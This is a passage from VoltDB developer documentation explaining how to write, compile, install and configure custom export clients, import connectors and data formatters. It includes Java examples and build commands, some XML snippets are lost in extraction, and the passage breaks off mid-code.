export client in blocks that are roughly 2MB in size but do not\nalign with transactions. A block is guaranteed to contain complete rows — that is, no single SQL INSERT\nto an export stream is split across blocks. The handoff from the internal VoltDB producer to the custom\nexport client follows a simple pattern:\nproducer -> client.onBlockStart\nforeach row in block:\n producer -> client.processRow\nproducer -> client.onBlockCompletion\nEach time the pattern executes, it runs within a single thread. Therefore, it is not necessary to synchronize\naccesses to the data structures used in client.onBlockStart, client.processRow, and client.onBlockComple-\ntion unless they are used in other threads as well.\nFor each row of data, the processRow() method is called. The object passed in as an argument contains\na full description of the row, including the column names, types, and values, which your client code can\niterate over. For example:\npublic boolean processRow(ExportRow row) \n throws RestartBlockException {\n for (int i =0; i < row.values.length; i++) {\n String column_name = row.names.get(i);\n Object column_value = row.values[i];\n // do work . . .\n }\nNote that each row starts with six columns of metadata, including the transaction ID and timestamp. If\nyou do not need this information, you can skip the first six columns. Also, within each block of export\ndata, the schema is constant. However, it is possible for the schema to change between blocks (if a schema\nchange is applied to the database while export is active). The custom client can evaluate the ExportRow\n45Creating Custom Importers,\nExporters, and Formatters\nobject passed into the onBlockStart() or processRow() method to recognize any changes to the schema\nand configure the downstream system as necessary to accept the new data.\nAs a rule, the custom client must balance the requirements to execute and return control quickly, so as not to\nblock other export threads (since connectors share a limited thread pool), against the need to ensure that the\nindividual rows are accepted and acknowledged by the downstream system before onBlockCompletion()\nreturns. If the client fails at onBlockStart, processRow or onBlockCompletion, the export client must throw\na RestartBlockException to prevent VoltDB from acknowledging (ACKing) and dropping the export data\nfrom its durability control. This point deserves repeating: if the custom ExportClient runs onBlockStart,\nprocessRow and onBlockCompletion without throwing the correct exception, VoltDB assumes the data is\nremotely durable and that the VoltDB database can discard that export block.\nThe ExportClient must not return from onBlockCompletion until it ensures the downstream target ac-\nknowledges receipt of the data.\n9.1.2. How to Use Custom Properties to Configure the Client\nProperties, set in the deployment file as part of the export configuration, let you pass information to the\nexport connector. For example, if the user needs to pass the export connector a file location or IP address\nfor the export target. What properties are necessary or supported is up to you as the author of the export\nclient to decide.\nThe properties specified in the deployment file are passed to the export client as a Properties object argu-\nment to the configure() method every time the connector starts. That is, whenever the database starts with\nthe connector enabled or whenever the schema or deployment is modified (for example, by a voltadmin\nupdate command).\nThe configure() method can either iterate over the Properties object or it can look for specific entries as\nneeded. For example:\npublic void configure(Properties config) throws Exception {\n \n // Check for specific property value\n if config.containsKey(\"filename\") {\n filename = config.getProperty(\"filename\");\n } \n}\n9.1.3. How to Compile and Install the Client\nOnce your export client code is complete, you need to compile, package, and install the connector on the\nappropriate VoltDB servers. You compile the export client like other Java methods. Be sure to include the\nVoltDB server jar file in the classpath. For example, if VoltDB is installed in a directory called voltdb in\nyour home directory, the command could be:\n$ javac -cp \"$HOME/voltdb/voltdb/*:./\" -d obj \\\n org.voltdb.exportclient/MyExportClient.java\nAfter compiling the source code, you must package the resulting class into a JAR file, like so:\n$ jar cvf myexportclient.jar -C obj .\nFinally you must install the JAR file in the lib/extension folder where VoltDB is installed on all servers\nin the cluster that will be running the export client. For, example, if you are running a single node cluster\n46Creating Custom Importers,\nExporters, and Formatters\non the current node, where VoltDB has been installed as $HOME/voltdb, you can copy the JAR file with\nthe following command:\n$ cp myexportclient.jar $HOME/voltdb/lib/extension/\n9.1.4. How to Configure the Export Client\nOnce your custom export client is installed you can configure and start it. Custom export clients are con-\nfigured like any other export connector, by adding a section to in the de-\nployment file (or configuring it interactively in the VoltDB Management Center). For custom clients, you\ndeclare the connector type as \"custom\" and add the exportconnectorclass attribute specifying\nthe connector's Java classpath. For example:\n\n \n myexportfile.txt \n \n \nAny properties listed in the (\"filename\" in this example) are passed to the custom\nexport client as arguments to the configure() method, as described in Section 9.1.2, “How to Use Custom\nProperties to Configure the Client” . See the chapter on \" Importing and Exporting Live Data \" in the Using\nVoltDB manual for more information on configuring export connectors.\n9.2. Writing a Custom Importer\nAn import connector is a set of Java classes that configure the connector and then iteratively retrieve data\nfrom a remote source and pass it into VoltDB by invoking stored procedures. Unlike the export connector,\nwhich is responsible for formatting the data between source and target, the VoltDB import architecture\nallows for the use a separate formatter to translate the inbound data into a set of Java objects that can be\npassed as parameters to a stored procedure.\nImport connectors are packaged as OSGi (Open Service Gateway Initiative) bundles, so they can be started\nand stopped easily from within the server process. However, for the purposes of writing a custom importer,\nVoltDB handles much of the OSGi infrastructure in the abstract classes associated with the import client.\nAs a result, your import connector only needs to provide some of the classes normally required for an\nOSGi bundle. Specifically, a custom importer must provide the classes and methods described in Table 9.1,\n“Structure of the Custom Importer” .\nTable 9.1. Structure of the Custom Importer\nClass Method Description\nclass constructor\ngetFormatterBuilder() Returns the FormatterBuilder method of the\nspecified format.\ngetResourceID() Returns a unique resource ID for this im-\nporter instance.implementation of Im-\nporterConfig\nURI() Returns the URI for the current importer in-\nstance.\nextension of AbstractIm-\nporterFactorycreate() Returns an instance of the AbstractImporter\nimplementation.\n47Creating Custom Importers,\nExporters, and Formatters\nClass Method Description\ncreateImporterConfigura-\ntions()Returns a map of configuration information.\ngetTypeName() Returns the name of the AbstractImporter\nclass as a string.\nisImporterRunEverywhere() Returns true or false.\ngetName() Returns the name of the AbstractImporter\nclass as a string.\naccept() Performs the actual data import. Should\ncheck to see if stop() has been called.\nstop() Completes the import process.extension of AbstractIm-\nporter\nURI() Returns the URI for the current importer in-\nstance.\nHaving all the right parts in place is extremely important, since if the bundle is incomplete or incorrect,\nthe server process will crash when the importer starts. So the best way to create a new custom importer is\nto take an existing example — including the associated ant build script — and modify it as needed. You\ncan find an example custom importer in the VoltDB public github repository at the following URL:\nhttps://github.com/VoltDB/voltdb/tree/master/src/frontend/org/voltdb/importclient/socket\nThe following sections describe:\n•Writing the custom importer using Java\n•Compiling, packaging, and installing the importer\n•Configuring and running the importer\n9.2.1. Designing and Coding a Custom Importer\nOne of the most important decisions you must make when planning your custom importer is whether to\nrun a single importer process for the cluster or to design a run-everywhere importer. A single importer\nprocess ensures only one instance of the importer is running at any given time. That means on a cluster,\nonly one node will run the import connector process.\nThe following sections discuss run-everywhere vs. single process and managing the starting and stopping\nof the import connector.\n9.2.1.1. Run-Everywhere vs. Single Process\nA run-everywhere import connector starts a separate import process on each node in the cluster. A run-\neverywhere connector can improve performance since it distributes the work across the cluster. However,\nit means that the connector must negotiate the distribution of the work to avoid importing duplicate copies\nof the data.\nRun-everywhere connectors are especially useful where the import process uses a \"push\" model rather than\na \"pull'. That is, if the connector opens a port and accepts data sent to the port, then the data source(s) can\nproactively connect and \"push\" data to that port, making the data source responsible for the distribution\nto the multiple servers of the VoltDB cluster.\n48Creating Custom Importers,\nExporters, and Formatters\nYou specify whether you are creating a single importer process or run-everywhere connector in the isIm-\nporterRunEverywhere() method of the Importer class. If the method returns true, importer processes are\ncreated on every server. If the method returns false, only one importer process is created at any given time.\n9.2.1.2. Managing the Starting and Stopping of the Import Process\nWhen the custom importer is enabled, the ImporterFactory create() method is invoked, which in turn\ncreates instances of the ImporterConfig and Importer classes. The VoltDB import infrastructure then calls\nthe Importer accept() method for each importer process that is created.\nThe accept() method does the bulk of the work of iteratively fetching data from the appropriate sources,\ncalling the formatter to structure the content of each row, and invoking the appropriate stored procedure\nto insert the data into the database. Two important points to keep in mind:\n•If the accept() method fails for any reason of returns to the caller, the importer will stop until the next\ntime it is initialized. (That is, when the database restarts or is paused and resumed.)\n•On each iteration, the accept() method should check to see if the close() method has been called, so it\ncan clean up any pending imports and then return to the caller.\n9.2.2. Packaging and Installing a Custom Importer\nOnce the custom importer code is ready, you need to compile and package it as an OSGi-compliant JAR\nfile. There are a number of OSGi properties that need to be set in the JAR file manifest. So it is easiest\nto use an ant build file to compile and package the files. The following is an excerpt from an example\nbuild.xml file for a custom importer project:\n\n\n\n \n org.osgi.framework;version="[1.6,2)" \n org.voltcore.network \n org.voltdb.importer \n org.voltdb.client \n org.voltdb.importer.formatter \n org.apache.log4j \n org.slf4j \n jsr166y \n org.voltcore.utils \n org.voltcore.logging \n com.google_voltpatches.common.base \n com.google_voltpatches.common.collect \n com.google_voltpatches.common.net \n com.google_voltpatches.common.io \n com.google_voltpatches.common.util.concurrent \n \n \n49Creating Custom Importers,\nExporters, and Formatters\n \n \n \n [ . . . ]\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \nOnce you create the OSGi bundle, you install the custom importer by copying it to the bundles folder\ninside the root directory of the VoltDB installation on every server in the cluster. For example, if VoltDB\nis installed in /opt/voltdb , copy your custom importer JAR file to /opt/voltdb/bundles/ .\n9.2.3. Configuring and Running a Custom Importer\nOnce the custom importer is installed on the VoltDB servers, you can configure and start the importer\nusing the database configuration file. You can configure import either before the database starts or after\nthe database is running using the voltadmin update command.\nIn the configuration use the and elements to declare your custom im-\nporter. Specify the type as \"custom\" and identify the custom importer bundle in the module attribute\nspecifying the name of the JAR file. For example:\n\n \n [ . . . ]\nIf the custom importer requires additional information, you can provide it in properties passed to the Im-\nporterConfig class. For example:\n50Creating Custom Importers,\nExporters, and Formatters\n\n \n my.data.source \n 5m \n \n \nAs soon as the configuration is enabled, the import processes will be initialized and the custom importer\naccept() method invoked by the VoltDB import infrastructure.\n9.3. Writing a Custom Formatter\nA formatter is a module that takes a row of data received by an import connector, interprets the contents,\nand translates it into individual column values. The default formatter that is provided with VoltDB parses\ncomma-separated values (CSV) data. However, if the data you are importing is in a different format, you\ncan write a custom formatter to perform this translation step.\nYou provide a custom formatter as an OSGi (Open Service Gateway Initiative) bundle. However, much\nof the standard work of an OSGi bundle is handled by the VoltDB import framework. So you only need\nto provide selected components as described in the following sections.\nNote\nCustom formatters can be used with both custom and built-in import connectors and with the\nstandalone kafkaloader utility.\nThe following sections describe:\n•The structure of the custom formatter\n•Compiling and packaging custom formatter bundles\n•Installing and invoking custom formatters\n•Using custom formatters with the kafkaloader utility\n9.3.1. The Structure of the Custom Formatter\nThe custom formatter must contain at least two Java classes: one that implements the org.volt-\ndb.importer.formatter.Formatter interface and one that extends the org.voltdb.im-\nporter.formatter.AbstractFormatterFactory interface.\nFor the sake of example, let's assume the custom formatter classes are called MyFormatter and MyFor-\nmatterFactory. When the associated import connector is initialized, the VoltDB importer infrastructure\ncalls the classes' methods in the following order:\n•MyFormatterFactory.create () is called once, to initialize the formatter. The create method\nmust return an instance of the MyFormatter class.\n•MyFormatter.MyFormatter() is invoked once when an instance of the MyFormatter class is\ninitialized in the preceding step.\n•MyFormatter.transform () is called from the import connector every time it retrieves a record from the\ndata source.\n51Creating Custom Importers,\nExporters, and Formatters\nIn many cases, the easiest way to create custom class is to modify an existing example. And VoltDB\nprovides an example formatter that you can use as a base for your customizations in the VoltDB github\nat the following URL:\nhttps://github.com/VoltDB/voltdb/tree/master/tests/test_apps/kafkaimporter/custom_formatter/formatter\nThe next sections describe how to modify this example — or how to create a custom formatter from\nscratch, if you wish.\n9.3.1.1. The AbstractFormatterFactory Interface and Class\nYou must create a class that extends the AbstractFormatterFactory class. However, within that class all\nyou need to change is overriding the create() method to return an instance of your implementation of the\nFormatter interface. So, assuming the new class names use the prefix \"MyFormatter\" and using the example\nformatter provided in github, all you need to modify are the items highlighted in the following example:\npackage myformatter ;\nimport org.voltdb.importer.formatter.AbstractFormatterFactory;\npublic class MyFormatterFactory extends AbstractFormatterFactory {\n /**\n * Creates and returns the formatter object.\n */\n @Override\n public MyFormatter create() {\n MyFormatter formatter = new MyFormatter (m_formatName, m_formatProps);\n return formatter;\n }\n}\n9.3.1.2. The Formatter Interface and Class\nThe bulk of the work of a custom formatter occurs in the class that implements the Formatter interface.\nWithin that class, you must have at least one method that overrides the default transform() method.\nYou can, optionally, include a method that initializes the class and handles any properties that need to be\npassed into the formatter from the import configuration.\n9.3.1.2.1. Initializing the Formatter Class\nThe method that initializes the class has the same name as the class (in our example, MyFormatter). The\nmethod accepts two parameters: a string and a list of properties. The string contains the name of the for-\nmatter as specified in the database configuration file (see Section 9.3.3.2, “Configuring and Invoking Cus-\ntom Formatters” ). This string will, by definition, match the name of the class itself. The second parame-\nter is a collection of Java Property objects representing properties set in the configuration file using the\n element and certain VoltDB built-in properties, whose names all start with two\nunderscores.\nIf the custom formatter doesn't require any information from the configuration, you do not need to include\nthis method. However, if your formatter does require additional information, this class can retrieve and\nstore information provided in the import configuration. For example, the MyFormatter() method in the\nfollowing implementation looks for a \"column_width\" property and stores it for later use by the trans-\nform() method:\n52Creating Custom Importers,\nExporters, and Formatters\npackage myformatter;\nimport java.util.Properties;\nimport org.voltdb.importer.formatter.FormatException;\nimport org.voltdb.importer.formatter.Formatter;\npublic class MyFormatter implements Formatter {\n String column_width = \"\";\n MyFormatter (String formatName, Properties prop) {\n column_width = prop.getProperty(\"column_width\");\n }\n9.3.1.2.2. Transforming the Data\nThe method that does the actual work of formatting the incoming data is the transform() method. This\nmethod receives the incoming data as a Java byte buffer and is expected to return an array of Java objects\nrepresenting the input parameters, which will be passed to the specified stored procedure to insert the data\ninto the database.\nFor example, If the custom formatter expects data in fixed-width columns, the method might look like this:\n@Override\npublic Object[] transform(ByteBuffer payload) throws FormatException {\n String buffer = new String(payload.array());\n ArrayList